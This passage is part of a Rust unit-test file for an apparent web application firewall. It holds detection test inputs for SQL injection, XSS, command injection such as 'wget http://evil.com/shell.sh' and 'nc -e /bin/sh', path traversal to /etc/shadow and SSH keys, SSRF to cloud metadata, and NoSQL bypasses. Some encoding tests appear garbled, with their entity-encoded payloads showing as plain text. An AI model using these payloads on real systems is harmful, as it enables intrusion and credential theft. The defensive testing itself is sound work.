2314 let engine = Engine::empty();
2315 assert_eq!(engine.rule_count(), 0);
2316 }
2317
2318 #[test]
2319 fn test_load_rules() {
2320 let mut engine = Engine::empty();
2321 let rules = r#"[
2322 {
2323 "id": 1,
2324 "description": "SQL injection",
2325 "risk": 10.0,
2326 "blocking": true,
2327 "matches": [
2328 {"type": "uri", "match": {"type": "contains", "match": "' OR '"}}
2329 ]
2330 }
2331 ]"#;
2332 let count = engine.load_rules(rules.as_bytes()).unwrap();
2333 assert_eq!(count, 1);
2334 }
2335
2336 #[test]
2337 fn test_analyze_sqli() {
2338 let mut engine = Engine::empty();
2339 let rules = r#"[
2340 {
2341 "id": 1,
2342 "description": "SQL injection",
2343 "risk": 10.0,
2344 "blocking": true,
2345 "matches": [
2346 {"type": "uri", "match": {"type": "contains", "match": "' OR '"}}
2347 ]
2348 }
2349 ]"#;
2350 engine.load_rules(rules.as_bytes()).unwrap();
2351
2352 let verdict = engine.analyze(&Request {
2353 method: "GET",
2354 path: "/api/users?id=1' OR '1'='1",
2355 ..Default::default()
2356 });
2357
2358 assert_eq!(verdict.action, Action::Block);
2359 assert!(verdict.risk_score > 0);
2360 assert!(verdict.matched_rules.contains(&1));
2361 }
2362
2363 #[test]
2364 fn test_sql_analyzer() {
2365 assert!(sql_analyzer_score("SELECT * FROM users") > 0);
2367 assert!(sql_analyzer_score("SELECT * FROM information_schema") > 0);
2368 assert!(sql_analyzer_score("INSERT INTO users") > 0);
2369 assert!(sql_analyzer_score("DELETE FROM users") > 0);
2370 assert!(sql_analyzer_score("UNION SELECT * FROM users") > 0);
2371 assert!(sql_analyzer_score("admin' --") > 0);
2373 assert!(sql_analyzer_score("hello world") == 0);
2375 assert!(sql_analyzer_score("normal query string") == 0);
2376 }
2377
2378 #[test]
2379 fn test_xss_analyzer() {
2380 assert!(xss_analyzer_score("<script>alert(1)</script>") > 0);
2381 assert!(xss_analyzer_score("javascript:alert(1)") > 0);
2382 assert!(xss_analyzer_score("onclick=alert(1)") > 0);
2383 assert!(xss_analyzer_score("hello world") == 0);
2384 }
2385
2386 #[test]
2388 fn test_xss_analyzer_html_entity_bypass() {
2389 assert!(
2391 xss_analyzer_score("<script>alert(1)</script>") > 0,
2392 "Should detect <script> via decimal entities"
2393 );
2394
2395 assert!(
2397 xss_analyzer_score("<script>alert(1)</script>") > 0,
2398 "Should detect <script> via hex entities"
2399 );
2400
2401 assert!(
2403 xss_analyzer_score("<script>alert(1)</script>") > 0,
2404 "Should detect <script> via named entities"
2405 );
2406
2407 assert!(
2409 xss_analyzer_score("<script>alert(1)</script>") > 0,
2410 "Should detect <script> via mixed entities"
2411 );
2412
2413 assert!(
2415 xss_analyzer_score(
2416 "javascript:alert(1)"
2417 ) > 0,
2418 "Should detect javascript: via decimal entities"
2419 );
2420
2421 assert!(
2423 xss_analyzer_score("onerror=alert(1)") > 0,
2424 "Should detect onerror via decimal entities"
2425 );
2426
2427 assert!(
2429 xss_analyzer_score("document.cookie") > 0,
2430 "Should detect document.cookie via decimal entities"
2431 );
2432
2433 assert!(
2435 xss_analyzer_score("<script>") > 0,
2436 "Should detect script tag with uppercase hex"
2437 );
2438
2439 assert!(
2441 xss_analyzer_score("<img src=x onerror=alert(1)>") > 0,
2442 "Should detect img tag via entities"
2443 );
2444 }
2445
2446 #[test]
2448 fn test_decode_html_entities() {
2449 assert_eq!(decode_html_entities("<"), "<");
2451 assert_eq!(decode_html_entities(">"), ">");
2452 assert_eq!(decode_html_entities("<script>"), "<script>");
2453
2454 assert_eq!(decode_html_entities("<"), "<");
2456 assert_eq!(decode_html_entities(">"), ">");
2457 assert_eq!(decode_html_entities("<script>"), "<script>");
2458
2459 assert_eq!(decode_html_entities("<"), "<");
2461 assert_eq!(decode_html_entities(">"), ">");
2462 assert_eq!(decode_html_entities("&"), "&");
2463 assert_eq!(decode_html_entities("""), "\"");
2464 assert_eq!(decode_html_entities("'"), "'");
2465
2466 assert_eq!(decode_html_entities("hello <world>"), "hello <world>");
2468
2469 assert_eq!(decode_html_entities("no entities here"), "no entities here");
2471
2472 assert_eq!(decode_html_entities("&unknown;"), "&unknown;");
2474 assert_eq!(decode_html_entities("&;"), "&;");
2475
2476 assert_eq!(decode_html_entities("<"), "<");
2478 }
2479
2480 #[test]
2482 fn test_xss_double_encoding_bypass() {
2483 assert!(
2486 xss_analyzer_score("&#60;script&#62;") > 0,
2487 "Should detect double-encoded script tag"
2488 );
2489 }
2490
2491 #[test]
2493 fn test_cmd_analyzer() {
2494 assert!(
2496 cmd_analyzer_score(r"`cat /etc/passwd`") > 0,
2497 "Should detect backtick execution"
2498 );
2499 assert!(
2500 cmd_analyzer_score(r"`id`") > 0,
2501 "Should detect simple backtick"
2502 );
2503
2504 assert!(
2506 cmd_analyzer_score(r"$(cat /etc/passwd)") > 0,
2507 "Should detect subshell execution"
2508 );
2509 assert!(
2510 cmd_analyzer_score(r"$(whoami)") > 0,
2511 "Should detect simple subshell"
2512 );
2513
2514 assert!(
2516 cmd_analyzer_score(r"${PATH}") > 0,
2517 "Should detect variable substitution"
2518 );
2519 assert!(
2520 cmd_analyzer_score(r"${IFS}") > 0,
2521 "Should detect IFS substitution"
2522 );
2523
2524 assert!(cmd_analyzer_score(r"$IFS") > 0, "Should detect $IFS");
2526 assert!(
2527 cmd_analyzer_score(r"IFS=x") > 0,
2528 "Should detect IFS assignment"
2529 );
2530
2531 assert!(
2533 cmd_analyzer_score(r"cat /etc/passwd") > 0,
2534 "Should detect /etc/passwd access"
2535 );
2536 assert!(
2537 cmd_analyzer_score(r"cat /etc/shadow") > 0,
2538 "Should detect /etc/shadow access"
2539 );
2540 assert!(
2541 cmd_analyzer_score(r"wget http://evil.com/shell.sh") > 0,
2542 "Should detect wget"
2543 );
2544 assert!(
2545 cmd_analyzer_score(r"curl http://evil.com") > 0,
2546 "Should detect curl"
2547 );
2548 assert!(
2549 cmd_analyzer_score(r"nc -e /bin/sh") > 0,
2550 "Should detect netcat"
2551 );
2552 assert!(cmd_analyzer_score(r"bash -i") > 0, "Should detect bash -i");
2553 assert!(
2554 cmd_analyzer_score(r"/bin/sh -c 'cmd'") > 0,
2555 "Should detect /bin/sh -c"
2556 );
2557
2558 assert!(
2560 cmd_analyzer_score("hello world") == 0,
2561 "Clean value should not match"
2562 );
2563 assert!(
2564 cmd_analyzer_score("user@example.com") == 0,
2565 "Email should not match"
2566 );
2567 }
2568
2569 #[test]
2571 fn test_cmd_analyzer_newline_bypass() {
2572 assert!(
2574 cmd_analyzer_score("id%0acat /etc/passwd") > 0,
2575 "Should detect %0a newline injection"
2576 );
2577 assert!(
2578 cmd_analyzer_score("cmd%0dmore") > 0,
2579 "Should detect %0d carriage return injection"
2580 );
2581 assert!(
2582 cmd_analyzer_score("%0A%0D") > 0,
2583 "Should detect uppercase encoded CRLF"
2584 );
2585
2586 assert!(
2588 cmd_analyzer_score("id%250acat") > 0,
2589 "Should detect double-encoded newline"
2590 );
2591 }
2592
2593 #[test]
2595 fn test_cmd_analyzer_ifs_bypass() {
2596 assert!(
2598 cmd_analyzer_score(r"cat${IFS}/etc/passwd") > 0,
2599 "Should detect $IFS brace bypass"
2600 );
2601 assert!(
2602 cmd_analyzer_score(r"cat$IFS/etc/passwd") > 0,
2603 "Should detect $IFS bypass"
2604 );
2605 assert!(
2606 cmd_analyzer_score(r"{cat,/etc/passwd}") > 0,
2607 "Should detect brace expansion"
2608 );
2609 }
2610
2611 #[test]
2613 fn test_cmd_analyzer_null_byte() {
2614 assert!(
2615 cmd_analyzer_score("file.txt%00.jpg") > 0,
2616 "Should detect %00 null byte"
2617 );
2618 assert!(
2619 cmd_analyzer_score("cmd\\x00param") > 0,
2620 "Should detect \\x00 null byte"
2621 );
2622 }
2623
2624 #[test]
2626 fn test_path_traversal_analyzer_basic() {
2627 assert!(
2629 path_traversal_analyzer_score("../etc/passwd") > 0,
2630 "Should detect basic ../"
2631 );
2632 assert!(
2633 path_traversal_analyzer_score("..\\Windows\\System32") > 0,
2634 "Should detect basic ..\\"
2635 );
2636 assert!(
2637 path_traversal_analyzer_score("....//etc/passwd") > 0,
2638 "Should detect multiple dots"
2639 );
2640
2641 assert!(
2643 path_traversal_analyzer_score("/home/user/file.txt") == 0,
2644 "Clean path should not match"
2645 );
2646 assert!(
2647 path_traversal_analyzer_score("relative/path/to/file") == 0,
2648 "Relative path without traversal should not match"
2649 );
2650 }
2651
2652 #[test]
2654 fn test_path_traversal_url_encoding_bypass() {
2655 assert!(
2657 path_traversal_analyzer_score("%2e%2e%2fetc/passwd") > 0,
2658 "Should detect %2e%2e%2f (URL-encoded ../)"
2659 );
2660 assert!(
2661 path_traversal_analyzer_score("..%2fetc/passwd") > 0,
2662 "Should detect ..%2f (partial encoding)"
2663 );
2664 assert!(
2665 path_traversal_analyzer_score("%2e%2e/etc/passwd") > 0,
2666 "Should detect %2e%2e/ (partial encoding)"
2667 );
2668
2669 assert!(
2671 path_traversal_analyzer_score("%2E%2E%2Fetc/passwd") > 0,
2672 "Should detect uppercase %2E%2E%2F"
2673 );
2674 }
2675
2676 #[test]
2678 fn test_path_traversal_double_encoding_bypass() {
2679 assert!(
2681 path_traversal_analyzer_score("%252e%252e%252fetc/passwd") > 0,
2682 "Should detect double-encoded %252e%252e%252f"
2683 );
2684 assert!(
2685 path_traversal_analyzer_score("%252E%252E%252F") > 0,
2686 "Should detect uppercase double-encoded"
2687 );
2688
2689 assert!(
2691 path_traversal_analyzer_score("%25252e%25252e%25252f") > 0,
2692 "Should detect triple-encoded path traversal"
2693 );
2694 }
2695
2696 #[test]
2698 fn test_path_traversal_unicode_bypass() {
2699 assert!(
2701 path_traversal_analyzer_score("%c0%ae%c0%ae/etc/passwd") > 0,
2702 "Should detect overlong UTF-8 %c0%ae (dot)"
2703 );
2704 assert!(
2706 path_traversal_analyzer_score("..%c0%afetc/passwd") > 0,
2707 "Should detect overlong UTF-8 %c0%af (slash)"
2708 );
2709 assert!(
2711 path_traversal_analyzer_score("%c0%ae%c0%ae%c0%afetc%c0%afpasswd") > 0,
2712 "Should detect mixed overlong encoding"
2713 );
2714 }
2715
2716 #[test]
2718 fn test_path_traversal_windows_patterns() {
2719 assert!(
2721 path_traversal_analyzer_score("..\\..\\boot.ini") > 0,
2722 "Should detect Windows backslash traversal"
2723 );
2724 assert!(
2725 path_traversal_analyzer_score("%2e%2e%5c") > 0,
2726 "Should detect %5c (encoded backslash)"
2727 );
2728
2729 assert!(
2731 path_traversal_analyzer_score("..\\..\\Windows\\System32\\config\\SAM") > 0,
2732 "Should detect SAM file access"
2733 );
2734 assert!(
2735 path_traversal_analyzer_score("..\\..\\boot.ini") > 0,
2736 "Should detect boot.ini access"
2737 );
2738 }
2739
2740 #[test]
2742 fn test_path_traversal_unix_sensitive_targets() {
2743 assert!(
2745 path_traversal_analyzer_score("../../etc/passwd") > 0,
2746 "Should detect /etc/passwd access"
2747 );
2748 assert!(
2749 path_traversal_analyzer_score("..%2f..%2fetc%2fshadow") > 0,
2750 "Should detect encoded /etc/shadow access"
2751 );
2752 assert!(
2753 path_traversal_analyzer_score("../../.ssh/id_rsa") > 0,
2754 "Should detect .ssh access"
2755 );
2756 assert!(
2757 path_traversal_analyzer_score("../../proc/self/environ") > 0,
2758 "Should detect /proc access"
2759 );
2760 }
2761
2762 #[test]
2764 fn test_path_traversal_null_byte() {
2765 assert!(
2766 path_traversal_analyzer_score("../etc/passwd%00.jpg") > 0,
2767 "Should detect null byte truncation"
2768 );
2769 assert!(
2770 path_traversal_analyzer_score("file.txt\\x00../etc/passwd") > 0,
2771 "Should detect \\x00 null byte"
2772 );
2773 }
2774
2775 #[test]
2777 fn test_normalize_unicode_path() {
2778 assert_eq!(normalize_unicode_path("%c0%ae"), ".");
2780 assert_eq!(normalize_unicode_path("%C0%AE"), ".");
2781 assert_eq!(normalize_unicode_path("%e0%80%ae"), ".");
2782
2783 assert_eq!(normalize_unicode_path("%c0%af"), "/");
2785 assert_eq!(normalize_unicode_path("%C0%AF"), "/");
2786
2787 assert_eq!(normalize_unicode_path("%c1%9c"), "\\");
2789 assert_eq!(normalize_unicode_path("%C1%9C"), "\\");
2790
2791 assert_eq!(normalize_unicode_path("%c0%ae%c0%ae%c0%af"), "../");
2793 }
2794
2795 #[test]
2799 fn test_ssrf_analyzer_localhost() {
2800 assert!(
2802 ssrf_analyzer_score("http://127.0.0.1/") > 0,
2803 "Should detect 127.0.0.1"
2804 );
2805 assert!(
2806 ssrf_analyzer_score("http://127.0.0.2/admin") > 0,
2807 "Should detect 127.0.0.x"
2808 );
2809 assert!(
2810 ssrf_analyzer_score("https://127.255.255.255:8080/") > 0,
2811 "Should detect 127.x.x.x"
2812 );
2813
2814 assert!(
2816 ssrf_analyzer_score("http://[::1]/") > 0,
2817 "Should detect ::1"
2818 );
2819 assert!(
2820 ssrf_analyzer_score("http://[0:0:0:0:0:0:0:1]/") > 0,
2821 "Should detect full IPv6 localhost"
2822 );
2823 }
2824
2825 #[test]
2827 fn test_ssrf_analyzer_cloud_metadata() {
2828 assert!(
2830 ssrf_analyzer_score("http://169.254.169.254/latest/meta-data/") > 0,
2831 "Should detect AWS metadata endpoint"
2832 );
2833 assert!(
2834 ssrf_analyzer_score("http://169.254.170.2/v2/credentials") > 0,
2835 "Should detect AWS ECS metadata"
2836 );
2837 assert!(
2838 ssrf_analyzer_score("http://metadata.google.internal/") > 0,
2839 "Should detect GCP metadata hostname"
2840 );
2841 assert!(
2842 ssrf_analyzer_score("http://metadata.azure.com/") > 0,
2843 "Should detect Azure metadata hostname"
2844 );
2845 }
2846
2847 #[test]
2849 fn test_ssrf_analyzer_private_ips() {
2850 assert!(
2852 ssrf_analyzer_score("http://10.0.0.1/internal") > 0,
2853 "Should detect 10.x.x.x"
2854 );
2855 assert!(
2856 ssrf_analyzer_score("http://10.255.255.255/") > 0,
2857 "Should detect 10.255.255.255"
2858 );
2859
2860 assert!(
2862 ssrf_analyzer_score("http://192.168.1.1/") > 0,
2863 "Should detect 192.168.x.x"
2864 );
2865 assert!(
2866 ssrf_analyzer_score("http://192.168.0.254:3000/") > 0,
2867 "Should detect with port"
2868 );
2869
2870 assert!(
2872 ssrf_analyzer_score("http://172.16.0.1/") > 0,
2873 "Should detect 172.16.x.x"
2874 );
2875 assert!(
2876 ssrf_analyzer_score("http://172.31.255.255/") > 0,
2877 "Should detect 172.31.x.x"
2878 );
2879 }
2880
2881 #[test]
2883 fn test_ssrf_analyzer_dangerous_schemes() {
2884 assert!(
2885 ssrf_analyzer_score("file:///etc/passwd") > 0,
2886 "Should detect file://"
2887 );
2888 assert!(
2889 ssrf_analyzer_score("gopher://internal:1234/") > 0,
2890 "Should detect gopher://"
2891 );
2892 assert!(
2893 ssrf_analyzer_score("dict://localhost:11211/") > 0,
2894 "Should detect dict://"
2895 );
2896 assert!(
2897 ssrf_analyzer_score("ldap://internal/") > 0,
2898 "Should detect ldap://"
2899 );
2900 assert!(
2901 ssrf_analyzer_score("expect://id") > 0,
2902 "Should detect expect://"
2903 );
2904 assert!(
2905 ssrf_analyzer_score("php://filter/convert.base64-encode") > 0,
2906 "Should detect php://"
2907 );
2908 assert!(
2909 ssrf_analyzer_score("data:text/html,<script>") > 0,
2910 "Should detect data:"
2911 );
2912 }
2913
2914 #[test]
2916 fn test_ssrf_analyzer_ipv6_mapped() {
2917 assert!(
2919 ssrf_analyzer_score("http://[::ffff:127.0.0.1]/") > 0,
2920 "Should detect IPv6-mapped localhost"
2921 );
2922 assert!(
2924 ssrf_analyzer_score("http://[::ffff:192.168.1.1]/") > 0,
2925 "Should detect IPv6-mapped private IP"
2926 );
2927 assert!(
2929 ssrf_analyzer_score("http://[::ffff:169.254.169.254]/") > 0,
2930 "Should detect IPv6-mapped metadata"
2931 );
2932 }
2933
2934 #[test]
2936 fn test_ssrf_analyzer_encoded_ip() {
2937 assert!(
2939 ssrf_analyzer_score("http://2130706433/") > 0,
2940 "Should detect decimal IP (127.0.0.1)"
2941 );
2942 assert!(
2944 ssrf_analyzer_score("http://0x7f000001/") > 0,
2945 "Should detect hex IP (127.0.0.1)"
2946 );
2947 }
2948
2949 #[test]
2951 fn test_ssrf_analyzer_url_encoded() {
2952 assert!(
2954 ssrf_analyzer_score("http%3a%2f%2f127.0.0.1%2f") > 0,
2955 "Should detect URL-encoded SSRF"
2956 );
2957 assert!(
2959 ssrf_analyzer_score("http%253a%252f%252f127.0.0.1") > 0,
2960 "Should detect double-encoded SSRF"
2961 );
2962 }
2963
2964 #[test]
2966 fn test_ssrf_analyzer_false_positives() {
2967 assert!(
2969 ssrf_analyzer_score("http://8.8.8.8/") == 0,
2970 "Should not flag public IP"
2971 );
2972 assert!(
2973 ssrf_analyzer_score("https://google.com/") == 0,
2974 "Should not flag domain"
2975 );
2976 assert!(
2977 ssrf_analyzer_score("http://example.com/api/data") == 0,
2978 "Should not flag normal URL"
2979 );
2980 assert!(
2982 ssrf_analyzer_score("user submitted text") == 0,
2983 "Should not flag normal text"
2984 );
2985 assert!(
2986 ssrf_analyzer_score("192.168.1.1 is a private IP") == 0,
2987 "Should not flag IP without URL context"
2988 );
2989 }
2990
2991 #[test]
2995 fn test_nosql_analyzer_mongo_operators() {
2996 assert!(
2998 nosql_analyzer_score(r#"{"username": {"$ne": null}}"#) > 0,
2999 "Should detect $ne operator"
3000 );
3001 assert!(
3002 nosql_analyzer_score(r#"{"age": {"$gt": 18}}"#) > 0,
3003 "Should detect $gt operator"
3004 );
3005 assert!(
3006 nosql_analyzer_score(r#"{"name": {"$regex": ".*"}}"#) > 0,
3007 "Should detect $regex operator"
3008 );
3009 assert!(
3010 nosql_analyzer_score(r#"{"$or": [{"a": 1}, {"b": 2}]}"#) > 0,
3011 "Should detect $or operator"
3012 );
3013 }
3014
3015 #[test]
3017 fn test_nosql_analyzer_where_js() {
3018 assert!(
3020 nosql_analyzer_score(r#"{"$where": "function() { return true; }"}"#) > 0,
3021 "Should detect $where with function"
3022 );
3023 assert!(
3024 nosql_analyzer_score(r#"{"$where": "this.password == 'test'"}"#) > 0,
3025 "Should detect $where with this keyword"
3026 );
3027 assert!(
3028 nosql_analyzer_score(r#"{"$where": "sleep(5000)"}"#) > 0,
3029 "Should detect $where with sleep (DoS)"
3030 );
3031 }
3032
3033 #[test]
3035 fn test_nosql_analyzer_auth_bypass() {
3036 assert!(
3038 nosql_analyzer_score(r#"{"password": {"$ne": ""}}"#) > 0,
3039 "Should detect password $ne bypass"
3040 );
3041 assert!(
3042 nosql_analyzer_score(r#"{"username": "admin", "password": {"$gt": ""}}"#) > 0,
3043 "Should detect password $gt bypass"
3044 );
3045 assert!(
3046 nosql_analyzer_score(r#"{"user": {"$exists": true}}"#) > 0,
3047 "Should detect user $exists bypass"
3048 );
3049 }
3050
3051 #[test]
3053 fn test_nosql_analyzer_proto_pollution() {
3054 assert!(
3056 nosql_analyzer_score(r#"{"__proto__": {"isAdmin": true}}"#) > 0,
3057 "Should detect __proto__ pollution"
3058 );
3059 assert!(
3060 nosql_analyzer_score(r#"{"constructor": {"prototype": {}}}"#) > 0,
3061 "Should detect constructor pollution"
3062 );
3063 assert!(
3064 nosql_analyzer_score(r#"{"prototype": {"polluted": true}}"#) > 0,
3065 "Should detect direct prototype pollution"
3066 );
3067 }
3068
3069 #[test]
3071 fn test_nosql_analyzer_couchdb() {
3072 assert!(
3073 nosql_analyzer_score("/_all_docs") > 0,
3074 "Should detect _all_docs endpoint"
3075 );
3076 assert!(
3077 nosql_analyzer_score("/_design/mydesign/_view/myview") > 0,
3078 "Should detect _design/_view endpoints"
3079 );
3080 assert!(
3081 nosql_analyzer_score("/_changes?since=0") > 0,
3082 "Should detect _changes endpoint"
3083 );
3084 }
3085
3086 #[test]
3088 fn test_nosql_analyzer_redis() {
3089 assert!(
3090 nosql_analyzer_score("EVAL \"return 1\" 0") > 0,
3091 "Should detect EVAL command"
3092 );
3093 assert!(
3094 nosql_analyzer_score("FLUSHALL") > 0,
3095 "Should detect FLUSHALL command"
3096 );
3097 assert!(
3098 nosql_analyzer_score("CONFIG SET dir /tmp") > 0,
3099 "Should detect CONFIG command"
3100 );
3101 assert!(
3102 nosql_analyzer_score("KEYS *") > 0,
3103 "Should detect KEYS command"
3104 );
3105 }
3106
3107 #[test]
3109 fn test_nosql_analyzer_url_encoded() {
3110 assert!(
3112 nosql_analyzer_score("%22%24where%22%3A") > 0,
3113 "Should detect URL-encoded \"$where\":"
3114 );
3115 assert!(
3117 nosql_analyzer_score("%7B%22password%22%3A%7B%22%24ne%22%3A%22%22%7D%7D") > 0,
3118 "Should detect URL-encoded password $ne bypass"
3119 );
3120 assert!(
3122 nosql_analyzer_score("%22__proto__%22%3A") > 0,
3123 "Should detect URL-encoded __proto__"
3124 );
3125 }
3126
3127 #[test]
3129 fn test_nosql_analyzer_false_positives() {
3130 assert!(
3132 nosql_analyzer_score(r#"{"name": "John", "age": 30}"#) == 0,
3133 "Should not flag normal JSON"
3134 );
3135 assert!(
3136 nosql_analyzer_score(r#"{"status": "active"}"#) == 0,
3137 "Should not flag simple key-value"
3138 );
3139 assert!(
3141 nosql_analyzer_score("hello world") == 0,
3142 "Should not flag normal text"
3143 );
3144 assert!(
3145 nosql_analyzer_score("user@example.com") == 0,
3146 "Should not flag email"
3147 );
3148 }
3149
3150 #[test]
3151 fn test_header_evaluation() {
3152 let mut engine = Engine::empty();
3153 let rules = r#"[
3154 {
3155 "id": 1,
3156 "description": "Block bad user-agent",
3157 "risk": 10.0,
3158 "blocking": true,
3159 "matches": [
3160 {"type": "header", "field": "User-Agent", "match": {"type": "contains", "match": "bad-bot"}}
3161 ]
3162 }
3163 ]"#;
3164 engine.load_rules(rules.as_bytes()).unwrap();
3165
3166 let verdict = engine.analyze(&Request {
3167 method: "GET",
3168 path: "/",
3169 headers: vec![Header::new("User-Agent", "bad-bot/1.0")],
3170 ..Default::default()
3171 });
3172
3173 assert_eq!(verdict.action, Action::Block);
3174 assert!(verdict.matched_rules.contains(&1));
3175 }
3176
3177 #[test]
3180 fn test_analyze_safe_basic() {
3181 let mut engine = Engine::empty();
3182 let rules = r#"[
3183 {
3184 "id": 1,
3185 "description": "Simple match",
3186 "risk": 10.0,
3187 "matches": [{"type": "uri", "match": {"type": "contains", "match": "test"}}]
3188 }
3189 ]"#;
3190 engine.load_rules(rules.as_bytes()).unwrap();
3191
3192 let verdict = engine.analyze_safe(&Request {
3193 method: "GET",
3194 path: "/test",
3195 ..Default::default()
3196 });
3197
3198 assert!(!verdict.timed_out);
3200 assert!(verdict.rules_evaluated.is_none());
3201 assert!(verdict.matched_rules.contains(&1));
3202 }
3203
3204 #[test]
3205 fn test_analyze_with_timeout_custom() {
3206 let mut engine = Engine::empty();
3207 let rules = r#"[
3208 {
3209 "id": 1,
3210 "description": "Simple match",
3211 "risk": 10.0,
3212 "matches": [{"type": "uri", "match": {"type": "contains", "match": "test"}}]
3213 }
3214 ]"#;
3215 engine.load_rules(rules.as_bytes()).unwrap();
3216
3217 let verdict = engine.analyze_with_timeout(
3218 &Request {
3219 method: "GET",
3220 path: "/test",
3221 ..Default::default()
3222 },
3223 Duration::from_millis(100),
3224 );
3225
3226 assert!(!verdict.timed_out);
3228 }
3229
3230 #[test]
3231 fn test_timeout_cap() {
3232 assert!(MAX_EVAL_TIMEOUT >= DEFAULT_EVAL_TIMEOUT);
3234 assert!(MAX_EVAL_TIMEOUT <= Duration::from_secs(1)); }
3236
3237 #[test]
3238 fn test_verdict_timeout_fields_default() {
3239 let verdict = Verdict::default();
3240 assert!(!verdict.timed_out);
3241 assert!(verdict.rules_evaluated.is_none());
3242 }
3243
3244 #[test]
3245 fn test_eval_context_deadline() {
3246 let req = Request {
3247 method: "GET",
3248 path: "/test",
3249 ..Default::default()
3250 };
3251
3252 let ctx = EvalContext::from_request(&req);
3254 assert!(ctx.deadline.is_none());
3255 assert!(!ctx.is_deadline_exceeded());
3256
3257 let future_deadline = Instant::now() + Duration::from_secs(10);
3259 let ctx_with_deadline = EvalContext::from_request_with_deadline(&req, future_deadline);
3260 assert!(ctx_with_deadline.deadline.is_some());
3261 assert!(!ctx_with_deadline.is_deadline_exceeded());
3262
3263 let past_deadline = Instant::now() - Duration::from_millis(1);
3265 let ctx_expired = EvalContext::from_request_with_deadline(&req, past_deadline);
3266 assert!(ctx_expired.is_deadline_exceeded());
3267 }
3268
3269 #[test]
3270 fn test_load_rules_regex_error() {
3271 let mut engine = Engine::empty();
3272 let rules = r#"[
3274 {
3275 "id": 1,
3276 "description": "Invalid regex",
3277 "risk": 10.0,
3278 "matches": [
3279 {
3280 "type": "uri",
3281 "match": {
3282 "type": "regex",
3283 "match": "["
3284 }
3285 }
3286 ]
3287 }
3288 ]"#;
3289 let result = engine.load_rules(rules.as_bytes());
3290 assert!(result.is_err());
3291 match result {
3292 Err(WafError::RegexError(msg)) => assert!(msg.contains("[")),
3293 _ => panic!("Expected RegexError, got {:?}", result),
3294 }
3295 }
3296}